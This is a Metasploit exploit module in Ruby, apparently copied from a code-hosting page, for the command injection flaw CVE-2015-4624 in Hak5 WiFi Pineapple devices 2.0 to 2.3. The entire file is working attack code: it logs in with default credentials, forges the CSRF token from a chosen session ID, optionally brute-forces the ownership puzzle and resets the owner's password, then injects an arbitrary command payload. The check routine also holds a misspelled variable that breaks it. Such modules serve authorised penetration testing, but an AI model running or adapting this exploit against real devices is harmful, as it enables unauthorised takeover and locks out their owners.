261 lines
7.4 KiB
Ruby
261 lines
7.4 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Hak5 WiFi Pineapple Preconfiguration Command Injection',
|
|
'Description' => %q{
|
|
This module exploits a command injection vulnerability on WiFi Pineapples version 2.0 <= pineapple < 2.4.
|
|
We use a combination of default credentials with a weakness in the anti-csrf generation to achieve
|
|
command injection on fresh pineapple devices prior to configuration. Additionally if default credentials fail,
|
|
you can enable a brute force solver for the proof-of-ownership challenge. This will reset the password to a
|
|
known password if successful and may interrupt the user experience. These devices may typically be identified
|
|
by their SSID beacons of 'Pineapple5_....'; details derived from the TospoVirus, a WiFi Pineapple infecting
|
|
worm.
|
|
},
|
|
'Author' => ['catatonicprime'],
|
|
'License' => MSF_LICENSE,
|
|
'References' => [[ 'CVE', '2015-4624' ]],
|
|
'Platform' => ['unix'],
|
|
'Arch' => ARCH_CMD,
|
|
'Privileged' => false,
|
|
'Payload' => {
|
|
'Space' => 2048,
|
|
'DisableNops' => true,
|
|
'Compat' => {
|
|
'PayloadType' => 'cmd',
|
|
'RequiredCmd' => 'generic python netcat telnet'
|
|
}
|
|
},
|
|
'Targets' => [[ 'WiFi Pineapple 2.0.0 - 2.3.0', {}]],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Aug 1 2015'
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('USERNAME', [ true, 'The username to use for login', 'root' ]),
|
|
OptString.new('PASSWORD', [ true, 'The password to use for login', 'pineapplesareyummy' ]),
|
|
OptString.new('PHPSESSID', [ true, 'PHPSESSID to use for attack', 'tospovirus' ]),
|
|
OptString.new('TARGETURI', [ true, 'Path to the command injection', '/components/system/configuration/functions.php' ]),
|
|
Opt::RPORT(1471),
|
|
Opt::RHOST('172.16.42.1')
|
|
]
|
|
)
|
|
register_advanced_options(
|
|
[
|
|
OptBool.new('BruteForce', [ false, 'When true, attempts to solve LED puzzle after login failure', false ]),
|
|
OptInt.new('BruteForceTries', [ false, 'Number of tries to solve LED puzzle, 0 -> infinite', 0 ])
|
|
]
|
|
)
|
|
|
|
deregister_options(
|
|
'ContextInformationFile',
|
|
'DOMAIN',
|
|
'DigestAuthIIS',
|
|
'EnableContextEncoding',
|
|
'FingerprintCheck',
|
|
'HttpClientTimeout',
|
|
'NTLM::SendLM',
|
|
'NTLM::SendNTLM',
|
|
'NTLM::SendSPN',
|
|
'NTLM::UseLMKey',
|
|
'NTLM::UseNTLM2_session',
|
|
'NTLM::UseNTLMv2',
|
|
'SSL',
|
|
'SSLVersion',
|
|
'VERBOSE',
|
|
'WORKSPACE',
|
|
'WfsDelay',
|
|
'Proxies',
|
|
'VHOST'
|
|
)
|
|
end
|
|
|
|
def login_uri
|
|
normalize_uri('includes', 'api', 'login.php')
|
|
end
|
|
|
|
def brute_uri
|
|
normalize_uri("/?action=verify_pineapple")
|
|
end
|
|
|
|
def set_password_uri
|
|
normalize_uri("/?action=set_password")
|
|
end
|
|
|
|
def phpsessid
|
|
datastore['PHPSESSID']
|
|
end
|
|
|
|
def username
|
|
datastore['USERNAME']
|
|
end
|
|
|
|
def password
|
|
datastore['PASSWORD']
|
|
end
|
|
|
|
def cookie
|
|
"PHPSESSID=#{phpsessid}"
|
|
end
|
|
|
|
def csrf_token
|
|
Digest::SHA1.hexdigest datastore['PHPSESSID']
|
|
end
|
|
|
|
def use_brute
|
|
datastore['BruteForce']
|
|
end
|
|
|
|
def use_brute_tries
|
|
datastore['BruteForceTries']
|
|
end
|
|
|
|
def login
|
|
# Create a request to login with the specified credentials.
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => login_uri,
|
|
'vars_post' => {
|
|
'username' => username,
|
|
'password' => password,
|
|
'login' => "" # Merely indicates to the pineapple that we'd like to login.
|
|
},
|
|
'headers' => {
|
|
'Cookie' => cookie
|
|
}
|
|
)
|
|
|
|
return nil unless res
|
|
|
|
# Successful logins in preconfig pineapples include a 302 to redirect you to the "please config this device" pages
|
|
return res if res.code == 302 && (res.body !~ /invalid username/)
|
|
|
|
# Already logged in message in preconfig pineapples are 200 and "Invalid CSRF" - which also indicates a success
|
|
return res if res.code == 200 && (res.body =~ /Invalid CSRF/)
|
|
|
|
nil
|
|
end
|
|
|
|
def cmd_inject(cmd)
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => target_uri.path,
|
|
'cookie' => cookie,
|
|
'vars_get' => {
|
|
'execute' => "" # Presence triggers command execution
|
|
},
|
|
'vars_post' => {
|
|
'_csrfToken' => csrf_token,
|
|
'commands' => cmd
|
|
}
|
|
)
|
|
|
|
res
|
|
end
|
|
|
|
def brute_force
|
|
print_status('Beginning brute forcing...')
|
|
# Attempt to get a new session cookie with an LED puzzle tied to it.
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => brute_uri
|
|
)
|
|
|
|
# Confirm the response indicates there is a puzzle to be solved.
|
|
if !res || !(res.code == 200) || res.body !~ /own this pineapple/
|
|
print_status('Brute forcing not available...')
|
|
return nil
|
|
end
|
|
|
|
cookies = res.get_cookies
|
|
counter = 0
|
|
while use_brute_tries.zero? || counter < use_brute_tries
|
|
print_status("Try #{counter}...") if (counter % 5).zero?
|
|
counter += 1
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => brute_uri,
|
|
'cookie' => cookies,
|
|
'vars_post' => {
|
|
'green' => 'on',
|
|
'amber' => 'on',
|
|
'blue' => 'on',
|
|
'red' => 'on',
|
|
'verify_pineapple' => 'Continue'
|
|
}
|
|
)
|
|
|
|
if res && res.code == 200 && res.body =~ /set_password/
|
|
print_good('Successfully solved puzzle!')
|
|
return write_password(cookies)
|
|
end
|
|
end
|
|
print_warning("Failed to brute force puzzle in #{counter} tries...")
|
|
nil
|
|
end
|
|
|
|
def write_password(cookies)
|
|
print_status("Attempting to set password to: #{password}")
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => set_password_uri,
|
|
'cookie' => cookies,
|
|
'vars_post' => {
|
|
'password' => password,
|
|
'password2' => password,
|
|
'eula' => 1,
|
|
'sw_license' => 1,
|
|
'set_password' => 'Set Password'
|
|
}
|
|
)
|
|
if res && res.code == 200 && res.body =~ /success/
|
|
print_good('Successfully set password!')
|
|
return res
|
|
end
|
|
print_warning('Failed to set password')
|
|
|
|
nil
|
|
end
|
|
|
|
def check
|
|
loggedin = login
|
|
unless loggedin
|
|
brutecheck = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => brute_uri
|
|
)
|
|
return Exploit::CheckCode::Safe if !brutecheck || !brutecheck.code == 200 || brutecheck.body !~ /own this pineapple/
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
|
|
cmd_success = cmd_inject("echo")
|
|
return Exploit::CheckCode::Vulnerable if cmd_success && cmdSuccess.code == 200 && cmd_success.body =~ /Executing/
|
|
|
|
Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def exploit
|
|
print_status('Logging in with credentials...')
|
|
loggedin = login
|
|
if !loggedin && use_brute
|
|
brute_force
|
|
loggedin = login
|
|
end
|
|
unless loggedin
|
|
fail_with(Failure::NoAccess, "Failed to login PHPSESSID #{phpsessid} with #{username}:#{password}")
|
|
end
|
|
|
|
print_status('Executing payload...')
|
|
cmd_inject("#{payload.encoded}")
|
|
end
|
|
end
|